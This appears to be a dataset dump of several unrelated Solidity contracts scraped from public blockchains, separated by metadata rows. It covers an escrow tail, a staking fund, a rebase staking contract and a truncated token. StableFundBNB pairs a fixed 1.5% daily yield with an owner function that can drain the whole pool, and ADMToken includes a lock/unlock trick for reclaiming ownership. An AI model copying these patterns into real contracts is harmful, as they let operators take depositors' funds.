require(claim.status == Status.WaitingForChallenger, "The transaction shouldn't be disputed.");
transaction.isExecuted = true;
claim.status = Status.Resolved;
payable(claim.receiver).transfer(transaction.amount + transaction.deposit + claim.receiverFee);
emit Payment(claim.transactionID, transaction.amount, claim.receiver);
}
function refund(uint256 _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.isExecuted == false, "The transaction should not be refunded.");
require(transaction.timeoutPayment <= block.timestamp, "The timeout payment should be passed.");
require(transaction.runningClaimCount == 0, "The transaction should not to have running claims.");
transaction.isExecuted = true;
payable(transaction.sender).transfer(transaction.amount);
emit Refund(_transactionID, transaction.amount, transaction.sender);
}
function challengeClaim(uint256 _claimID) public payable {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
uint256 arbitrationCost = transaction.arbitrator.arbitrationCost(transaction.arbitratorExtraData);
require(claim.status < Status.DisputeCreated,
"Dispute has already been created or because the transaction has been executed.");
require(msg.value >= transaction.deposit + arbitrationCost,
"The challenger fee must cover the deposit and the arbitration costs.");
claim.challengerFee = arbitrationCost;
claim.challenger = _msgSender();
raiseDispute(_claimID, arbitrationCost);
}
function raiseDispute(uint256 _claimID, uint256 _arbitrationCost) internal {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
claim.status = Status.DisputeCreated;
claim.disputeID = transaction.arbitrator.createDispute{value: _arbitrationCost}(AMOUNT_OF_CHOICES,
transaction.arbitratorExtraData);
disputeIDtoClaimID[claim.disputeID] = _claimID;
emit Dispute(transaction.arbitrator, claim.disputeID, _claimID, _claimID);
// Refund receiver if it overpaid.
if (claim.receiverFee > _arbitrationCost) {
uint256 extraFeeSender = claim.receiverFee - _arbitrationCost;
claim.receiverFee = _arbitrationCost;
payable(claim.receiver).send(extraFeeSender);
}
// Refund challenger if it overpaid.
if (claim.challengerFee > _arbitrationCost) {
uint256 extraFeeChallenger = claim.challengerFee - _arbitrationCost;
claim.challengerFee = _arbitrationCost;
payable(claim.challenger).send(extraFeeChallenger);
}
}
function submitEvidence(uint256 _claimID, string memory _evidence) public {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(claim.status < Status.Resolved, "Must not send evidence if the dispute is resolved.");
emit Evidence(transaction.arbitrator, _claimID, _msgSender(), _evidence);
}
function appeal(uint256 _claimID) public payable {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
transaction.arbitrator.appeal{value: msg.value}(claim.disputeID, transaction.arbitratorExtraData);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
uint256 claimID = disputeIDtoClaimID[_disputeID];
Claim storage claim = claims[claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(msg.sender == address(transaction.arbitrator), "The caller must be the arbitrator.");
require(claim.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(claimID, _ruling);
}
function executeRuling(uint256 _claimID, uint256 _ruling) internal {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Must be a valid ruling.");
// Give the arbitration fee back.
// Note: we use send to prevent a party from blocking the execution.
if (_ruling == uint256(RulingOptions.ReceiverWins)) {
payable(claim.receiver).send(transaction.deposit);
claim.status = Status.WaitingForChallenger;
} else if (_ruling == uint256(RulingOptions.ChallengerWins)) {
payable(claim.challenger).send(claim.challengerFee + transaction.deposit * 2);
claim.status = Status.Resolved;
} else {
payable(claim.challenger).send(claim.challengerFee + transaction.deposit);
claim.status = Status.WaitingForChallenger;
}
transaction.runningClaimCount--;
}
// **************************** //
// * Constant getters * //
// **************************** //
function getCountTransactions() public view returns (uint256 countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint256[] memory transactionIDs) {
uint256 count = 0;
for (uint256 i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address) count++;
}
transactionIDs = new uint256[](count);
count = 0;
for (uint256 j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address) transactionIDs[count++] = j;
}
}
function getClaimIDsByAddress(address _address) public view returns (uint256[] memory claimIDs) {
uint256 count = 0;
for (uint256 i = 0; i < claims.length; i++) {
if (claims[i].receiver == _address) count++;
}
claimIDs = new uint256[](count);
count = 0;
for (uint256 j = 0; j < claims.length; j++) {
if (claims[j].receiver == _address) claimIDs[count++] = j;
}
}
}
| 25,567 | 13,507 |
936ee93d2c7ba3e96e30cc91cfd98d5133d89921fecee5f647a59fd50eea1df8
| 21,358 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9c/9C6B6C43666ad6124F4417246fd16e66fBcF0df0_StableFundBNB.sol
| 3,494 | 13,412 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract StableFundBNB is Ownable,ReentrancyGuard{
using SafeMath for uint256;
uint256 public developerFee = 300; // 300 : 3 %. 10000 : 100 %
uint256 public rewardPeriod = 1 days;
uint256 public withdrawPeriod = 4 weeks;
uint256 public apr = 150; // 150 : 1.5 %. 10000 : 100 %
uint256 public percentRate = 10000;
uint256 private MAX_NO_OF_INVESTMENT = 100;
address private devWallet;
uint256 public _currentDepositID = 0;
uint256 public totalInvestors = 0;
uint256 public totalReward = 0;
uint256 public totalInvested = 0;
uint256 public startDate;
struct DepositStruct{
address investor;
uint256 depositAmount;
uint256 depositAt; // deposit timestamp
uint256 claimedAmount; // claimed BNB amount
bool state; // withdraw capital state. false if withdraw capital
}
struct InvestorStruct{
address investor;
uint256 totalLocked;
uint256 startTime;
uint256 lastCalculationDate;
uint256 claimableAmount;
uint256 claimedAmount;
}
event NewInvestor(address investor,
uint256 amount,
uint256 time);
event NewInvestment (address investor,
uint256 amount,
uint256 time);
event ClaimedReward (address investor,
uint256 amount,
uint256 time);
event CapitalWithdrawn (address investor,
uint256 amount,
uint256 id,
uint256 time);
// mapping from depost Id to DepositStruct
mapping(uint256 => DepositStruct) public depositState;
// mapping form investor to deposit IDs
mapping(address => uint256[]) public ownedDeposits;
//mapping from address to investor
mapping(address => InvestorStruct) public investors;
constructor(address _devWallet, uint256 _startDate) {
require(_devWallet!=address(0),"Please provide a valid dev wallet address");
devWallet = _devWallet;
startDate = _startDate;
}
function resetContract(address _devWallet) public onlyOwner {
require(_devWallet!=address(0),"Please provide a valid address");
devWallet = _devWallet;
}
function _getNextDepositID() private view returns (uint256) {
return _currentDepositID + 1;
}
function _incrementDepositID() private {
_currentDepositID++;
}
function deposit() external payable{
require(ownedDeposits[msg.sender].length<MAX_NO_OF_INVESTMENT,"Cannot make more than 100 deposits from a single wallet");
require(block.timestamp>=startDate,"Cannot deposit at this moment");
require(msg.value > 0, "you can deposit more than 0 BNB");
uint256 _id = _getNextDepositID();
_incrementDepositID();
uint256 _amount = msg.value;
uint256 depositFee = _amount.mul(developerFee).div(percentRate);
payable(devWallet).transfer(depositFee);
depositState[_id].investor = msg.sender;
depositState[_id].depositAmount = _amount - depositFee;
depositState[_id].depositAt = block.timestamp;
depositState[_id].state = true;
ownedDeposits[msg.sender].push(_id);
if(investors[msg.sender].investor==address(0)){
totalInvestors = totalInvestors.add(1);
investors[msg.sender].investor = msg.sender;
investors[msg.sender].startTime = block.timestamp;
investors[msg.sender].lastCalculationDate = block.timestamp;
emit NewInvestor(msg.sender, msg.value, block.timestamp);
}
investors[msg.sender].totalLocked = investors[msg.sender].totalLocked.add(_amount - depositFee);
totalInvested = totalInvested.add(_amount);
emit NewInvestment(msg.sender, msg.value, block.timestamp);
}
function claimAllReward() public nonReentrant {
require(ownedDeposits[msg.sender].length > 0, "you can deposit once at least");
uint256 claimableAmount = getAllClaimableReward(msg.sender);
investors[msg.sender].claimedAmount = investors[msg.sender].claimedAmount.add(claimableAmount);
investors[msg.sender].lastCalculationDate = block.timestamp;
require(claimableAmount <= address(this).balance,
"no enough BNB in pool");
totalReward = totalReward.add(claimableAmount);
emit ClaimedReward(msg.sender, claimableAmount, block.timestamp);
payable(msg.sender).transfer(claimableAmount);
}
// withdraw capital by deposit id
function withdrawCapital(uint256 id) public nonReentrant {
require(depositState[id].investor == msg.sender,
"only investor of this id can claim reward");
require(block.timestamp - depositState[id].depositAt > withdrawPeriod,
"withdraw lock time is not finished yet");
require(depositState[id].state, "you already withdrawed capital");
uint256 claimableReward = getAllClaimableReward(msg.sender);
require(depositState[id].depositAmount + claimableReward <= address(this).balance,
"no enough BNB in pool");
// transfer capital to the user
payable(msg.sender).transfer(depositState[id].depositAmount + claimableReward);
investors[depositState[id].investor].claimedAmount = investors[depositState[id].investor].claimedAmount.add(claimableReward);
investors[msg.sender].lastCalculationDate = block.timestamp;
totalReward = totalReward.add(claimableReward);
depositState[id].state = false;
emit CapitalWithdrawn(msg.sender,claimableReward , id, block.timestamp);
}
function getAllClaimableReward(address _investorAddress) public view returns(uint256 allClaimableAmount){
for(uint256 i = 0; i < ownedDeposits[_investorAddress].length; i ++) {
allClaimableAmount += getClaimableReward(ownedDeposits[_investorAddress][i]);
}
}
function getClaimableReward(uint256 _id) public view returns(uint256 reward){
if(depositState[_id].state == false) return 0;
address investor = depositState[_id].investor;
uint256 lastROIDate = investors[investor].lastCalculationDate;
uint256 profit;
if(lastROIDate>=depositState[_id].depositAt){
profit = depositState[_id].depositAmount.mul(apr).mul(block.timestamp.sub(lastROIDate)).div(percentRate.mul(rewardPeriod));
}else{
profit = depositState[_id].depositAmount.mul(apr).mul(block.timestamp.sub(depositState[_id].depositAt)).div(percentRate.mul(rewardPeriod));
}
reward = profit;
}
function getInvestor(address _investorAddress) public view returns(address investor,
uint256 totalLocked,
uint256 startTime,
uint256 lastCalculationDate,
uint256 claimableAmount,
uint256 claimedAmount){
investor = _investorAddress;
totalLocked = investors[_investorAddress].totalLocked;
startTime = investors[_investorAddress].startTime;
lastCalculationDate = investors[_investorAddress].lastCalculationDate;
claimableAmount = getAllClaimableReward(_investorAddress);
claimedAmount = investors[_investorAddress].claimedAmount;
}
function getDepositState(uint256 _id) public view returns(address investor,uint256 depositAmount,uint256 depositAt, uint256 claimedAmount,bool state){
investor = depositState[_id].investor;
depositAmount = depositState[_id].depositAmount;
depositAt = depositState[_id].depositAt;
state = depositState[_id].state;
claimedAmount = getClaimableReward(_id);
}
// adding pool by owner
function depositFunds() external payable onlyOwner returns(bool) {
require(msg.value > 0, "you can deposit more than 0 BNB");
return true;
}
function withdrawFunds(uint256 amount) external onlyOwner nonReentrant {
// transfer fund
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to withdraw funds");
}
function getOwnedDeposits(address investor) public view returns (uint256[] memory) {
return ownedDeposits[investor];
}
}
| 86,227 | 13,508 |
fd399c8946474bf781ca3dbd741c9f8971c9c090cc2d89e96e94a37230922dfb
| 27,125 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUY68H7xhzxpYCXVRGPiZYQENVzYc4PHs8_WoxStaking.sol
| 4,150 | 16,521 |
//SourceUnit: WoxStaking.sol
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsWOX {
function rebase(uint256 woxProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract WoxStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable WOX;
address public immutable sWOX;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _WOX,
address _sWOX,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_WOX != address(0));
WOX = _WOX;
require(_sWOX != address(0));
sWOX = _sWOX;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(WOX).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsWOX(sWOX).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sWOX).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsWOX(sWOX).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsWOX(sWOX).balanceForGons(info.gons));
IERC20(WOX).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sWOX).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(WOX).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsWOX(sWOX).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsWOX(sWOX).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsWOX(sWOX).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(WOX).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sWOX).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sWOX).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 303,389 | 13,509 |
0e8e37e47e40e22d4fbc6fea7834de616252aaa06199b7d8e5ac6bc48c297428
| 21,086 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTB3ihxJeLKEqUxZnxCsX3ZiRj6dAjiyPN_ADMToken.sol
| 3,924 | 14,857 |
//SourceUnit: ADM.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
_previousOwner = address(0);
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract ADMToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'ADMToken';
string private _symbol = 'ADM';
uint8 private _decimals = 6;
uint256 private _totalSupply = 6688 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
